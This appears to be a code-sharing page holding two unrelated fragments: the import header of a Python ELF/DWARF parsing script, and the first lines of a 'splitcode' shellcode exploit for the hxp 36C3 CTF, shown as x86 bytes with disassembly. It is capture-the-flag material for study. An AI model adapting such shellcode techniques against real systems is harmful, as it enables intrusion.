aengelke

#!/usr/bin/python3
# SPDX-FileCopyrightText: 2025 Alexis Engelke
# SPDX-License-Identifier: Apache-2.0
from bisect import bisect_right
from dataclasses import dataclass, replace, field
from typing import NamedTuple
import sys

from elftools.elf.elffile import ELFFile
from elftools.dwarf.callframe import FDE

aengelke

Deterministic splitcode exploit (hxp 36C3 CTF) by aengelke

0:  b1 10                   mov    cl,0x10
2:  31 c7                   xor    edi,eax
4:  b3 24                   mov    bl,0x24
6:  b7 3a                   mov    bh,0x3a
8:  d3 cb                   ror    ebx,cl
a:  b7 8d                   mov    bh,0x8d
c:  31 df                   xor    edi,ebx
e:  89 fc                   mov    esp,edi